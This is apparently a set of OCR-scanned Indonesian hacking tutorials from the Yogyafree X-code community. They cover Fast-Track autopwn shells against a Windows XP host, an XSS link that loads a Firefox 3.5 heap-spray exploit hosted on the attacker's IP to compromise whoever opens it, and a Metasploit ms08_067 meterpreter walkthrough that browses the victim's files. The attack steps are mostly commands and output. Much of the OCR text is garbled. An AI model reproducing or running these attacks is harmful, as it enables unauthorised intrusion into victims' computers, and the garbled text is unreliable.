1: -PN 192.168.1.1
Z: 192.168.1.1-254
3: -PO -u -A 192.168.1.1
4: 192.168.1.1-24

Enter the ip ranges to autopwn: 192.168.1.39

Selanjutnya kita masukkan |P target yang ingin kita hack. Setelah dimasukkan lalu di
enter dan ditunggu biarkan program bekerja.



[#] Trying to exploit Windows 5.1

[x] Binding to 1Z2345778-1234-abcd-ef00-01Z2345678%ab: 0 . 0@ncacn_n

[-1 Exploit Failed: Could not bind to 849f4e40-a03d-11ce-8f69-0

erl]

[+] Bound to 6bffd098-allZ-3610-9833-46c3F87e345a 1 . 08ncacn_np!

[#] Building the stub data...

[#] Binding to e67ab081-9844-3521-9d432-834f0368001c0: 1. 0Bncacn_n

[-]1 Exploit failed: The =zerver rezponded with error: STATUS_DBJ

[#] Calling the vulnerable function...

[#] Bound to 4b3Z24fcB-1670-0143-1278-5a47bfbeel8B 3 .0Bncacn_np:

[#*] Building the stub data...

[*] Calling the vulnerable functiom...

[#]1 Bound to 12345778-1Z234-abcd-ef00-012345678%ab:0 . 00ncacn_np!
[-1 Exploit failed: DCERPC FAULT =»> nca_s_fault wndr

[#] Command shell session £ opened (192.168.1.11:33529 > 192.1

[#]1 The DCERPC service did not reply to our reguest

[#] Command =shell =sesszion 3 opened (19Z.168.1.11:48419 -> 192.1

[#] Command =shell =sesszion 4 opened (19Z2.168.1.11:52332 -> 192.1

Setelah ditunggu sekian waktu ternyata muncul command shell session yang dimana
command shell session tersebut muncul karena adanya celah keamanan pada komputer
target. Oke setelah itu kita masukkan perintah session -1 maka akan muncul daftar
session ditampilan seperti dibawah ini, setelah itu tinggal kitapilih ingin menggunakan
session yang mana untuk masuk ke komputer target, sebagai contoh ditampilan di bawah
ini penulis menggunakan session yang pertama.

n=f » sessions -1

Active sessions

Tunnel
Command shell 192.168.1.11:41547 —> 192.168.1.39:7269
Command shell 192.168.1.11:33529 —> 192.168.1.39:13388
Command shell 192.168.1.11:48419 —> 192.168.1.39:15474
Command =shell 192.168.1.11:52332 —> 192.168.1.39:16800

msf > sessions -i 1
“[=] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.26001
(C) Copyright 1985-2001 Microsoft Corp.

CSUINDOWSSsysten3Z2>

x-code never die .., yogyafree live forever .,



Binggo kita mendapatkan shell, di komputer target, ternyata begitu mudahnya
menggunakan Fast-track di X-code Linux 0.0.2. Cayooo.

Oleh Kurniawan - yk family code@yahoo.com
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Teknik XSS (Cross Site Scripting) untuk
mendapatkan shell target s pembuka URL

Teknik XSS merupakan suatu cara untuk memasukan / menginjeksikan kode-kode
HTML ke suatu situs dengan menggunakan browser. Teknik ini umumnya digunakan
oleh attacker untuk diberikan ke target untuk membuka dengan tujuan yang beragam
misalnya untuk social engineering. Di sini penulis akan mencontohkan bagaimana cara
penyerang memungkinkan mendapat shell target yang membuka dengan adamat situs
yang memiliki celah keamanan XSS sebagai bentuk pancingan agar korban atau si target
mau membukanya karena alamat domain depan yang terlihat meyakinkan, di sinilah
fungsi XSS adalah untuk Iebih meyakinkan target.

Di sini penulis mencontohkan celah keamanan pada CM S Blog PHP yang memiliki celah
keamanan XSS pada variabel search di index.php.

http://situsblogphp.com
+ Latest Blog Entries - + Mavigation -

Home
Members
Stat:

Welcome to BlogPHP e

Pasted: January 03, 2006 Archive
Subscribe

On behalf of the Insane ¥isions staff, we hope wou enjoy wour free copy of BlagPHP, Contact Us

; ihal
Fael free ko delete this and good luck on ywour new Blog site! 4G arihi=

Comments (0] | Post a Comment

+ Categories -
[ Axchive ] General
+ Links -

Insane¥isiens

Walcome guest! Please login or
regizter

Di tes file index.php dengan variabel search di masukkan inputan kode html.

http://stusblogphp.com/index.php?sear ch= %22 %Y3E %3C/title¥8EY¥B3Cmar quee¥?0bgc
olor=%22red %22 %3E %63CH2%3EKur niawan%20gantenq¥:B3C/H2Y3E %3C/mar quee
%3E



http://situsblogphp.com
http://situsblogphp.com/index.php?search=%22%3E%3C/title%3E%3Cmarquee%20bgc

Hasilnya:

+ Latest Blog Entries - + Mavigation -
Home
Members
Skats

Files

Archive
Subscribe

0 Results For 10 Y=

Contact Us
+ Search -

+ Categories -
General
+ Links -

InsaneYisions

iifelcarne guest! Please login or
Lt

Setelah mengetahui site memiliki bug XSS maka kita dapat memanipulasinya lebih jauh
dengan memanfaatkan iframe untuk menyerang komputer orang lain yang membuka
URL yang kitamiliki.

Contoh memanfaatkan IFRAME untuk XSS untuk membuka site Y ogyafree X -code.

http://stushblogphp.com/index.php?sear ch= %22 %3E%3C/Tl TLEYEE%3Cl FRAME%20s
rc=http://xcode.or.id¥a3E%3Cl FRAME%3E



http://situsblogphp.com/index.php?search=%22%3E%3C/TITLE%3E%3CIFRAME%20s
http://xcode.or.id%3E%3CIFRAME%3E

+ Latest Blog Entries -

sa H-code - The
Largest Indonesian
Computer Hacking &
Security Community
Lebih dari 90 .000 Members!

Untuk join forum kElik dizini, untuk

Binggo, ternyata tampil bagian dari site Yogyafree X-code. Untuk PoC-nya maka kita
aktifkan exploit yang dapat menyebabkan target jika membuka suatu URL maka kita
dimungkinkan untuk mendgpatkan shell pada komputer target yang dikarenakan bisa dari
celah keamanan browser, celah keamanan pembuka document yang terintegrasi dengan
browser dan sebagainya.

Di sini contohnya celah keamanan Heap Spray pada MozillaFirefox 3.5. Pastikan IP kita
adalah 1P Publik, jika kita menggunakan koneksi speedy dengan router modem yang di
share koneksinya maka anda dapat memanfaatkan port forwarding yang dimana
diarahkan ke IP lokal komputer kita.

Contoh mengaktifkan exploit firefox di komputer kita :



= Command Prompt - python firefoxhack.py
C:sPython26>python fivefoxhack.py

e R R R R B B R R R R R
1

## FireFox 3.5 Heap Spray
# Originally discovered by: Simon Berry—-Bryne

ﬁ Pythonized: David Hennedy (ReldK> B Securelitate
HHEHEE R R R B B R B B B B R

Liztening on port HH.
Have zomeone connect to youw.

ype <control>c to exit..

Setelah kita mengaktifkan exploit kita maka kitatinggal memasukkan IP publik kitayang
misal contohnya 180.252.132.168 dilakukan penggabungan dengan URL, hasilnya dapat
sebagai berikut :

http://situsblogphp.com/index.php?search=%22%3E%3C/ TI TL E%3E%3CIFRAME%20
src=http://180.252.132.168%3E%3CIFRAME%3E

Jika target menggunakan Mozilla Firefox 3.5 dan terus memaksa untuk membuka URL
tersebut maka anda dapat menebak kemungkinan hasil dari akibat tindakan tersebut.

Oleh Kurniwan - yk family code@yahoo.com
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Bermain perintah-perintah meterpreter di metasploit
framework

lll /A ,,‘5 A AA\N

')

Di sini pembahasan meterpreter untuk metasploit framework Iebih jauh dibandingkan
artikel sebelumnya, baiklah kita langsung saja, diasumsikan target kita adalah Windows
XP dengan celah SMB.

MVWMWMVMVIVM MIVMVMIVMVM
MVIVNS v MW
MVWN  MVMWM MWW J MW
MVWN  MVVMWIWN NVWMVWMVW - J MW

MVWN MVIVWMVIVMVVIVMMVIVMMMVVMVM - | MW
MVWN MVIVWWMVIVMVMIVMMVIVMMVVVMVM - | MW
MVWNL MVWMW - MVVWWL MWW ] MW
MVWNL MVWMW - MVVWWWL MWW ] MW
MVWNL MVWNM MVVMWMWL MWW ] MW
MW WVMWL MVMMWWM MM I MMW

MVWMR  ?MVI\M MWW . d MW
MVWMNmM © ? MW MW dMVMW
MVWMWIW  ?WM MV NVMMVMWN
MVWMVMVIMNe J MVMVIVINMWM
MVWMVMVMVIVNIT e MVWMVNVVNIVM
MVMVINNIVINIVIVIMVIVINK MVIVVMVNMWNMVNM

MVWMVMVINMVNIVIVIVIVIT. .+ MVINMIVNIMINIMIVINVIVINVVE

=[ metasploit v4.0.0-release [core:4.0 api:1.0]
+ -- --=[ 716 exploits - 361 auxiliary - 68 post
+ -- --=[ 226 payloads - 27 encoders - 8 nops
=[ svn r13462 updated 97 days ago (2011.08.01)

Warni ng: This copy of the Metasploit Framework was | ast updated 97 days ago.
VW recommend that you update the framework at |east every ot her day.

For informati on on updati ng your copy of Metasploit, please see:
https://comunity.rapi d7. conl docs/ DOC- 1306

nsf >



Kita untuk mencari exploit-exploit dapat dengan perintah show exploits, di sini kita
persempit sgjatargetnya diasumsikan kita akan menggunakan exploit untuk microsoft
bulletin tahun 2008.

nsf > search ns08

Mat chi ng Modul es

Nare Di scl osure Date
Rank Descri ption

auxi l i ary/adm n/ ns/ nrs08_059_hi s2006 2008- 10- 14

nor nal M crosoft Host Integration Server 2006 Command Execution
Vul nerabi lity

expl oi t/ wi ndows/ br owser/ ns08_041_snapshot vi ewer 2008- 07- 07

excel l ent  Snapshot Viewer for Mcrosoft Access ActiveX Control Arbitrary File
Downl oad

expl oi t/wi ndows/ br owser/ ns08_053_nedi aencoder 2008- 09- 09

nor nmal W ndows Media Encoder 9 wrex.dl| ActiveX Buffer Overflow
expl oi t/wi ndows/ browser/ ns08_070_vi sual _studi o_nmsnask 2008-08-13

nor nal M crosoft Visual Studi o Msmask32.ocx ActiveX Buffer Overflow
expl oi t/wi ndows/ browser/ ns08_078_xm _corrupti on 2008- 12- 07

nor nal Internet Explorer Data Binding Menory Corruption

expl oi t/wi ndows/ snb/ ns08_067_net api 2008- 10- 28

gr eat M crosoft Server Service Relative Path Stack Corruption

expl oi t/wi ndows/ snb/ snb_r el ay 2001- 03-31

excel lent Mcrosoft Wndows SMB Rel ay Code Execution
Dari pencarian didapat 7 exploit untuk ms08, kita gunakan sajams08_067_netapi

nsf > use expl oit/w ndows/snb/ ns08_067_net api

Untuk mengetahui exploit kita mendukung untuk target apa maka kita dapat masukkan
perintah dibawah ini

nsf expl oit(ns08_067_netapi) > show targets
Expl oit targets:

Nane

Aut omati c Targeti ng

W ndows 2000 Uni versal

W ndows XP SP0O/ SP1 Uni ver sal

W ndows XP SP2 English (NX)

W ndows XP SP3 English (NX)

W ndows 2003 SPO Uni versal

W ndows 2003 SP1 English (NO NX)
W ndows 2003 SP1 English (NX)

W ndows 2003 SP1 Japanese (NO NX)
W ndows 2003 SP2 English (NO NX)
10 W ndows 2003 SP2 English (NX)

11 W ndows 2003 SP2 German ( NO NX)
12 W ndows 2003 SP2 Gernman ( NX)

13 W ndows XP SP2 Arabic (NX)

14 W ndows XP SP2 Chinese - Traditional / Taiwan (NX)

o
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15 Wndows XP SP2 Chinese - Sinplified (NX
16 W ndows XP SP2 Chinese - Traditional (NX)
17 W ndows XP SP2 Czech (NX)

18 W ndows XP SP2 Dani sh (NX)

19 W ndows XP SP2 Gernman (NX)

20 Wndows XP SP2 G eek (NX)

21 Wndows XP SP2 Spani sh (NX)

22 Wndows XP SP2 Finnish (NX)

23 Wndows XP SP2 French (NX)

24 W ndows XP SP2 Hebrew (NX)

25 Wndows XP SP2 Hungarian (NX)

26 Wndows XP SP2 Italian (NX)

27 W ndows XP SP2 Japanese ( NX)

28 W ndows XP SP2 Korean (NX)

29 Wndows XP SP2 Dutch (NX)

30 Wndows XP SP2 Norwegi an (NX)

31 Wndows XP SP2 Polish (NX)

32 Wndows XP SP2 Portuguese - Brazilian (NX)
33 Wndows XP SP2 Portuguese (NX)

34 Wndows XP SP2 Russian (NX)

35 Wndows XP SP2 Swedi sh (NX)

36 Wndows XP SP2 Turkish (NX)

37 Wndows XP SP3 Arabic (NX)

38 Wndows XP SP3 Chinese - Traditional / Taiwan (NX)
39 Wndows XP SP3 Chinese - Sinplified (NX
40 W ndows XP SP3 Chinese - Traditional (NX)
41 W ndows XP SP3 Czech (NX)

42 W ndows XP SP3 Dani sh (NX)

43 W ndows XP SP3 German (NX)

44 W ndows XP SP3 G eek (NX)

45 W ndows XP SP3 Spani sh (NX)

46 W ndows XP SP3 Fi nni sh (NX)

47 W ndows XP SP3 French (NX)

48 W ndows XP SP3 Hebrew (NX)

49 W ndows XP SP3 Hungarian (NX)

50 Wndows XP SP3 Italian (NX)

51 W ndows XP SP3 Japanese ( NX)

52 W ndows XP SP3 Korean (NX)

53 Wndows XP SP3 Dutch (NX)

54 W ndows XP SP3 Norwegi an (NX)

55 W ndows XP SP3 Polish (NX)

56 W ndows XP SP3 Portuguese - Brazilian (NX)
57 W ndows XP SP3 Portuguese (NX)

58 W ndows XP SP3 Russi an (NX)

59 W ndows XP SP3 Swedi sh (NX)

60 W ndows XP SP3 Turkish (NX)

61 W ndows 2003 SP2 Japanese (NO NX)

Kita pilih O yaitu Automatic Targeting.

nsf expl oit(ns08_067_netapi) > set target O
target => 0

Jika kitatidak melakukan target maka secara default tetap diset target O, diatas hanya
sebagai informasi sgja jika misalkan anda menggunakan metasploit yang berbedayang
membutuhkan target spesifik.



Setelah kita memilih target 0 maka kitatampilkan payload, payload di sini fungsinyakita
memilih exploitasi kita ingin seperti apa, misal shell? remote desktop dengan VNC?
download & execute?

Perintah untuk menampilkan payloads untuk exploit ini
nsf expl oi t (ns08_067_net api) > show payl oads

Conpati bl e Payl oads

Nare Di sclosure Date Rank
Description

generic/custom nor mal
Cust om Payl oad

generic/debug_trap nor mal
Generic x86 Debug Trap

generic/shell _bind_tcp nor mal
Ceneric Command Shell, Bind TCP Inline

generic/shell _reverse_tcp nor mal
Ceneric Command Shell, Reverse TCP Inline

generic/tight | oop nor mal
Generic x86 Tight Loop

wi ndows/ adduser nor nal
W ndows Execute net user /ADD

wi ndows/ dl i nj ect/bind_i pv6_tcp nor mal
Reflective DIl Injection, Bind TCP Stager (IPv6)

wi ndows/ dl | i nj ect/bi nd_nonx_t cp nor mal
Reflective DIl Injection, Bind TCP Stager (No NX or Wn7)

wi ndows/ dl I'i nject/bind_tcp nor mal
Reflective DI Injection, Bind TCP Stager

wi ndows/ dl linject/reverse_http nor mal
Reflective DIl Injection, Reverse HITP Stager

wi ndows/ dl l'inject/reverse_ipv6_tcp nor mal
Reflective DIl Injection, Reverse TCP Stager (IPv6)

wi ndows/ dl i nj ect/reverse_nonx_tcp nor mal
Reflective DIl Injection, Reverse TCP Stager (No NX or W n7)

wi ndows/ dl l'inject/reverse_ord_tcp nor mal
Reflective DIl Injection, Reverse Odinal TCP Stager (No NX or W n7)

wi ndows/ dl l'i nject/reverse_tcp nor mal
Reflective DIl Injection, Reverse TCP Stager

wi ndows/ dl l'inject/reverse_tcp_all ports nor mal
Reflective DIl Injection, Reverse All-Port TCP Stager

wi ndows/ dl l'i nject/reverse_tcp_dns nor mal
Reflective DIl Injection, Reverse TCP Stager (DNS)

wi ndows/ downl oad_exec nor mal
W ndows Executabl e Downl oad and Execute

wi ndows/ exec nor nal
W ndows Execute Command

wi ndows/ | oadl i brary nor mal
W ndows LoadLibrary Path

wi ndows/ messagebox nor mal
W ndows MessageBox

wi ndows/ et er pret er/ bi nd_i pv6_tcp nor mal
Wndows Meterpreter (Reflective Injection), Bind TCP Stager (IPv6)

wi ndows/ et er pret er/ bi nd_nonx_t cp nor mal

Wndows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Wn7)
wi ndows/ net er pret er/ bi nd_tcp nor mal



Wndows Meterpreter (Reflective Injection),

wi ndows/ net er pret er/reverse_http

Wndows Meterpreter (Reflective Injection),

wi ndows/ net er pret er/rever se_https

Wndows Meterpreter (Reflective Injection),

wi ndows/ net er pret er/rever se_i pv6_tcp

Wndows Meterpreter (Reflective Injection),

wi ndows/ et er pret er/ r ever se_nonx_tcp

Wndows Meterpreter (Reflective Injection),

wi ndows/ net er pret er/reverse_ord_tcp

Wndows Meterpreter (Reflective Injection),

or Wn7)

wi ndows/ net er pret er/reverse_t cp

Wndows Meterpreter (Reflective Injection),

wi ndows/ neter preter/reverse_tcp_allports

Wndows Meterpreter (Reflective Injection),

wi ndows/ net er pret er/rever se_t cp_dns

Wndows Meterpreter (Reflective Injection),

wi ndows/ met svc_bi nd_t cp

W ndows Meterpreter Service,

Bind TCP

wi ndows/ nmet svc_reverse_tcp

W ndows Meterpreter Service,

wi ndows/ pat chupdl! I'i nj ect/ bind_i pv6_tcp

Wndows | nject DLL, Bind TCP Stager (IPv6)

wi ndows/ pat chupdl! I'i nj ect/ bi nd_nonx_tcp
Bind TCP Stager (No NX or Wn7)

W ndows | nject DLL,
wi ndows/ pat chupdl I'i
Wndows | nject DLL,
wi ndows/ pat chupdl I'i
Wndows | nject DLL,
wi ndows/ pat chupdl I'i
W ndows | nject DLL,
wi ndows/ pat chupdl I'i
Wndows | nject DLL,
wi ndows/ pat chupdl I'i
Wndows | nject DLL,
wi ndows/ pat chupdl i
Wndows | nject DLL,
wi ndows/ pat chupdl I'i
W ndows | nject DLL,

W ndows Meterpreter (skape/jt

nj ect/ bind_tcp

Bi nd TCP Stager

nj ect/ reverse_i pv6_tcp

Rever se

Rever se

Rever se

Rever se

Rever se

Reverse TCP Inli ne

Rever se TCP Stager (I Pv6)

nj ect/ reverse_nonx_tcp

Rever se TCP Stager (No NX or Wn7)

nj ect/ reverse_ord_tcp
TCP Stager (No NX or Wn7)

Rever se Ordinal

nj ect/ reverse_tcp

Rever se TCP St ager

nj ect/ reverse_tcp_all ports

Reverse All-Port TCP Stager

nj ect/ reverse_tcp_dns

Rever se TCP St ager (DNS)
wi ndows/ pat chupnet erpreter/bi nd_i pv6_tcp

injection),

wi ndows/ pat chupnet er pret er/ bi nd_nonx_tcp

W ndows Meterpreter (skape/jt

injection),

wi ndows/ pat chupnet er pret er/ bi nd_t cp

W ndows Meterpreter (skape/jt

injection),

Bi nd TCP Stager
Bi nd TCP Stager

Bi nd TCP Stager

wi ndows/ pat chupnet erpreter/reverse_i pv6_t cp
Reverse TCP St ager (IPv6)
wi ndows/ pat chupnet erpreter/reverse_nonx_t cp
Reverse TCP Stager (No NX or W n7)

W ndows Meterpreter (skape/jt

W ndows Meterpreter (skape/jt
wi ndows/ pat chupneterpreter/reverse_ord_tcp
W ndows Meterpreter (skape/jt

W n7)

injection),
injection),

injection),

wi ndows/ pat chupnet erpreter/reverse_tcp

W ndows Meterpreter (skape/jt

W ndows Meterpreter (skape/jt
wi ndows/ pat chupnet erpreter/reverse_tcp_dns
W ndows Meterpreter (skape/jt

injection),
injection),

injection),

wi ndows/ shel | / bi nd_i pv6_t cp

W ndows Command Shel |

wi ndows/ shel | / bi nd_nonx_t cp

W ndows Command Shel |,

Reverse O dinal

O di nal

Bi nd TCP Stager

nor mal
Reverse HITP Stager

nor mal
Reverse HITPS St ager

nor mal
Reverse TCP Stager (1Pv6)

nor mal

TCP Stager (No NX or Wn7)

nor mal
TCP Stager (No NX

nor mal

TCP Stager

nor mal

Al-Port TCP Stager

nor mal

TCP Stager (DNS)

nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
nor nal
(1 Pv6)
nor nal
(No NX or Wn7)
nor nal
nor nal

nor mal

nor nal
TCP St ager (No NX or

nor nal

Reverse TCP St ager
wi ndows/ pat chupneterpreter/reverse_tcp_al | ports
Reverse Al -Port TCP Stager

nor mal

nor mal

Reverse TCP St ager (DNS)

Bi nd TCP Stager (IPv6)

Bi nd TCP Stager (No NX or Wn7)

nor mal

nor mal



wi ndows/ shel | /bind_tcp nor mal
W ndows Command Shell, Bind TCP Stager

wi ndows/ shel | /reverse_http nor mal

W ndows Conmand Shell, Reverse HTTP Stager

wi ndows/ shel | /reverse_i pv6_tcp nor mal

W ndows Conmand Shell, Reverse TCP St ager (I Pv6)

wi ndows/ shel | / reverse_nonx_tcp nor mal

W ndows Conmand Shell, Reverse TCP Stager (No NX or Wn7)

wi ndows/ shel | /reverse_ord_tcp nor mal

W ndows Conmand Shell, Reverse Ordinal TCP Stager (No NX or Wn7)

wi ndows/ shel | /reverse_tcp nor mal

W ndows Command Shell, Reverse TCP St ager

wi ndows/ shel | /reverse_tcp_all ports nor mal

W ndows Conmand Shell, Reverse A l-Port TCP Stager

wi ndows/ shel | /reverse_t cp_dns nor mal

W ndows Conmand Shell, Reverse TCP St ager (DNS)

wi ndows/ shel | _bind_tcp nor mal

W ndows Command Shell, Bind TCP Inline

wi ndows/ shel | _reverse_tcp nor mal

W ndows Command Shell, Reverse TCP Inline

wi ndows/ speak_pwned nor mal

W ndows Speech APl - Say "You Cot Pwned!"

wi ndows/ upexec/ bi nd_i pv6_tcp nor mal

W ndows Upl oad/ Execut e, Bind TCP Stager (IPv6)

wi ndows/ upexec/ bi nd_nonx_t cp nor mal

W ndows Upl oad/ Execut e, Bind TCP Stager (No NX or W n7)

wi ndows/ upexec/ bi nd_t cp nor mal

W ndows Upl oad/ Execut e, Bind TCP Stager

wi ndows/ upexec/ reverse_http nor mal

W ndows Upl oad/ Execut e, Reverse HTTP Stager

wi ndows/ upexec/ reverse_i pv6_t cp nor mal

W ndows Upl oad/ Execut e, Reverse TCP Stager (| Pv6)

wi ndows/ upexec/ reverse_nonx_t cp nor mal

W ndows Upl oad/ Execut e, Reverse TCP Stager (No NX or Wn7)

wi ndows/ upexec/ reverse_ord_tcp nor mal

W ndows Upl oad/ Execut e, Reverse Ordinal TCP Stager (No NX or Wn7)

wi ndows/ upexec/ reverse_tcp nor mal

W ndows Upl oad/ Execut e, Reverse TCP Stager

wi ndows/ upexec/ reverse_tcp_al l ports nor mal

W ndows Upl oad/ Execut e, Reverse All-Port TCP Stager

wi ndows/ upexec/ reverse_t cp_dns nor mal

W ndows Upl oad/ Execut e, Reverse TCP Stager (DNS)

wi ndows/ vnci nj ect / bi nd_i pv6_t cp normal  VNC
Server (Reflective Injection), Bind TCP Stager (I|Pv6)

wi ndows/ vnci nj ect / bi nd_nonx_t cp normal  VNC
Server (Reflective Injection), Bind TCP Stager (No NX or Wn7)

wi ndows/ vnci nj ect/ bind_tcp normal  VNC
Server (Reflective Injection), Bind TCP Stager

wi ndows/ vnci nject/reverse_http normal  VNC
Server (Reflective Injection), Reverse HTTP Stager

wi ndows/ vnci nj ect/reverse_i pv6_tcp normal  VNC
Server (Reflective Injection), Reverse TCP Stager (I|Pv6)

wi ndows/ vnci nj ect/reverse_nonx_tcp normal  VNC
Server (Reflective Injection), Reverse TCP Stager (No NX or Wn7)

wi ndows/ vnci nject/reverse_ord_tcp normal  VNC
Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Wn7)

wi ndows/ vnci nj ect/reverse_tcp normal  VNC
Server (Reflective Injection), Reverse TCP St ager

wi ndows/ vnci nj ect/reverse_tcp_all ports normal  VNC
Server (Reflective Injection), Reverse All-Port TCP Stager

wi ndows/ vnci nj ect/reverse_tcp_dns normal  VNC

Server (Reflective Injection), Reverse TCP Stager (DNS)



Ternyata banyak juga, di sini kita gunakan meterpreter sgja karena praktek kita di sini
adalah meterpreter

nsf expl oit(nms08_067_netapi) > set PAYLOAD wi ndows/ neterpreter/bind_tcp

Setelah kita set payloadnya menggunakan windows/meterpreter/bind_tcp makakita set
target kita, perintahnyaadalah :

nsf expl oit(nms08_067_netapi) > set RHOST 192.168.1. 39
PAYLOAD => wi ndows/ neterpreter/bind_tcp
RHOST => 192. 168. 1. 39

Setelah semua sudah dimasukkan tinggal kita lakukan exploitasi langsung dengan
perintah exploit

Sendi ng stage (752128 bytes) to 192.168.1.39

expl oi t (ms08_067_net api) > exploit
[ Meter pret er session 1 opened (192.168.1.30:1602 -> 192.168. 1. 39: 4444) at
2011-11- 06 06:49: 29 +0700

3

nsf expl oit(nms08_067_netapi) > exploit
[*] Started bind handl er
[*] Automatically detecting the target...
[*] Fingerprint: Wndows XP - Service Pack 3 - | ang: English
[*] Selected Target: Wndows XP SP3 Engli sh (NX)
[*] Attenpting to trigger the vul nerability...
[*]
f
]

*

Binggo, kita sudah masuk di meterpreter.

Untuk mengetahui kita direktori manadi target kita masukkan perintah pwd.

>>>pwd
C.\ W NDOAB\ syst en32

Untuk mengetahui posisi kitadi komputer sendiri, perintahnya adalah getlwd.

>>>get | wd
C./ Program Fi | es/ Rapi d7/ f ramewor k/ nsf 3

Untuk mengetahui nama komputer target, informasi OS, arsitektur, sistem bahasayang
digunakan.

>>>sysinf o

Conput er : PC100

cs : Wndows XP (Build 2600, Service Pack 3).
Archi tecture : x86

System Language : en_US

Met er pr et er : x86/win32

Untuk mengetahui route dari komputer target

>>>rout e



routes

N WO

0
1.
. 1.39
.168. 1. 255
0
2

255. 255, 255. 255

Net mask Gat evay
0.0.0.0 192.168.1.1
255.0.0.0 127.0.0.1
255. 255. 255. 0 192.168. 1. 39
255. 255. 255. 255 127.0.0.1
255. 255. 255. 255 192. 168. 1. 39
240.0.0.0 192.168. 1. 39
255. 255. 255. 255 192. 168. 1. 39

Untuk keluar satu direktori ke bawah

>>>cd ..

Perintah diatas mirip dilinux, bukan command prompt, karena menggunakan spasi untuk
pembatas cd dan ..

Untuk membuktikkan kita sudah berada c:\windows adalah

>>>pwd
C.\ W NDOAS

Ok, kitamasuk ke c:\

>>>cd ..

Untuk menampilkan files dan direktori-direktori maka gunakan Is

>>>| s

Listing: C\

Mode
100666/ r w-r w r w
100777/ r wxr wWxr wWx
100666/ r w-r w r w
40777/ r WX WXT WX
Setti ngs
100444/r--r--r--
100444/ r--r--r--
100555/ r- xr-xr-x
40555/ - Xr-Xr-x
40777/ r wWxr WXr WX
I nf or mati on
40777/ r WX WXT WX
40777/ r WX WXT WX
100666/ r w-r w r w
100666/ r w-r w r w
100444/r--r--r--
100666/ r w-r w r w

Size

16299862

211

0

250048
301989888

Last nodified
2011-07-31
2011-07-31
2011-07-31
2011-07-31

Type
fi
fil
fil
dir

fi
fi
fi
dir
dir

2011-07-31
2011-07-31
2008-04- 14
2011-09-17
2011-07-31

dir
dir
fi
fi
fi
fi

2011-07-31
2011-07-31
2011-07-31
2011-07-31
2008-04- 14
2011-11-06

+0700
+0700
+0700
+0700

+0700
+0700
+0700
+0700
+0700

+0700
+0700
+0700
+0700
+0700
+0700

Nane
$Persi 0. sys
AUTCEXEC. BAT
CONFI G. SYS
Docunents and

1 0. SYS

MBDCS. SYS
NTDETECT. COM
Program Fi |l es
Syst em Vol une

W NDOWS

Xi tam
boot . i ni
dfinstall.log
nt | dr
pagefile. sys



Kita coba masuk direktori xitami
>>>cd xitam

Tampilkan isi pada direktori xitami
>>>| s

Listing: C\xitam

Mbde Si ze Type Last nodified Narre

40777/ r wWxr WXr WX 0 dir 2011-07-31 18:18:42 +0700

40777/ r WX WXT WX 0 di 1980- 01-01 15:00: 00 +0700 ..

100666/ rw-rwrw 6772 fi 2011-07-31 18:18:44 +0700 | NSTALL.LOG
100777/ rwxrwxrwx 81296 fi 1997- 04-29 23:57:12 +0700 UNW SE. EXE
40777/ r wWxr WXr WX 0 di 2011-07-31 18:18:31 +0700 addons
40777/ r WX WXT WX 0 di 2011-07-31 18:18:32 +0700 «cgi-bin
40777/ r WX WXT WX 0 di 2011-07-31 18:18:30 +0700 «cgi-src
100666/ rw-rwrw 8268 fi 2000- 03-31 05:45:26 +0700 ddnsdef.xmn
40777/ 1 WXT WXT WX 0 di 2011-07-31 18:18:31 +0700 debug
100666/ rwrwrw 92 fi 2011-07-31 18:18:35 +0700 defaults. aut

100666/ rw-rwrw 134 fi
40777/ r WX WXT WX 0 di

r

I

I

r

r

r

I

r

I

I 2011- 07-31 18:18:35 +0700 defaults.cfg

r 2011- 07-31 18:18:29 +0700 errors

100666/ rw-rwrw 148 fil 1998- 06-26 11:37:22 +0700 ftpadios.txt

100666/ rw-rwrw 1303 fil 1998- 08-05 07:20:28 +0700 ftpdirs.aut

100666/ rw-rwrw 729 fil 1997- 12-20 06:31:24 +0700 ftphello.txt

100666/ rw-rwrw 1334 fil 1998- 02-24 10:34:52 +0700 ftplogin.txt

40777/ rwxr Wxr WX 0 dir 2011-07-31 18:18:28 +0700 ftproot

100666/ rw-rwrw 1694 fil 1999- 09-01 00:43:00 +0700 ftpusers. aut

100777/ rwxrwxrwx 155648 fil 2000- 04- 22 10:34:26 +0700 gsl gen. exe
r
I
r
I
I
I
r
r
r

40777/ r WX WXT WX 0 di 2011-07-31 18:18:31 +0700 headers
100666/ rwrwrw 5194 fi 2000- 01-02 10:23:10 +0700 |Ilicense.txt
40777/ r WxT WXT WX 0 di 2011-07-31 18:18:42 +0700 | ogs

100666/ rw-rw rw 15146 fi
100666/ rw-rwrw 2628 fi
100666/ rwrw rw 1335 fi

2000- 01-02 10:23:18 +0700 perlssi
1999- 12-08 12: 24: 48 +0700 pi pedef.xni
1998- 10-14 11:05:58 +0700 readne.txt

40777/ 1 WXT WXT WX 0 di 2011-07-31 18:18:31 +0700 tenp

40777/ r WX WXT WX 0 di 2011-07-31 18:18:30 +0700 tenpl ates
40777/ r WX WXT WX 0 di 2011-07-31 18:18:24 +0700 webpages
100666/ rw-rwrw 940 fil 1999- 06- 05 00:38:24 +0700 xitam .aut
100666/ rw-rwrw 64764  fil 2000- 04-02 06:28:50 +0700 xitam .cfg
100777/ rwxrwxrwx 704512 fil 2000- 04-22 10:37:46 +0700 xiwi n32.exe
100777/ rwxrwxrwx 126976 fil 2000- 04- 21 09:44:36 +0700 xi x|l at.exe

Diatas adafile ftphello.txt, kita dapat menggunakan perintah cat untuk melihat isinya,
samadengan perintah di linux yaitu cat, contoh menjalankannya:

>>>cat ftphel |l o.txt

# This is the welconme text file for the FTP service.

# Lines starting with '# are ignored.

# You can change this file, or (better) copy it and change the
# ftp:welcome option.

#

XX XXX XXX XHXXXXXXXX X XX XX XXX e

- Xem Xemo Xemme- Xemoe XKemmmm-- XX- - XX-- X--- www.imatix.com --

ce X Xemm Xeme-- Xoooe X Xemonn- X X X X-- X--- (c) 1991-98  --



s Xee-e- Xe---- Xeooe Xo Xemn-- X Xe Xeo Xe-- --
ce X Xemm - Xo-oo XXKXK-=-« Xo--= X-= X--- Wndows - O/ 2 --
© Xee Koo Xe-e-- Xeooe Xeoo Xeoo Xewoo Xeo Xe-- UNLX - CpenVAB --
XXX XX XXX XXX XXX XXX XXX XXX XXX mmmmmmmmem o

Ready for login. Al accesses to this server are |ogged.

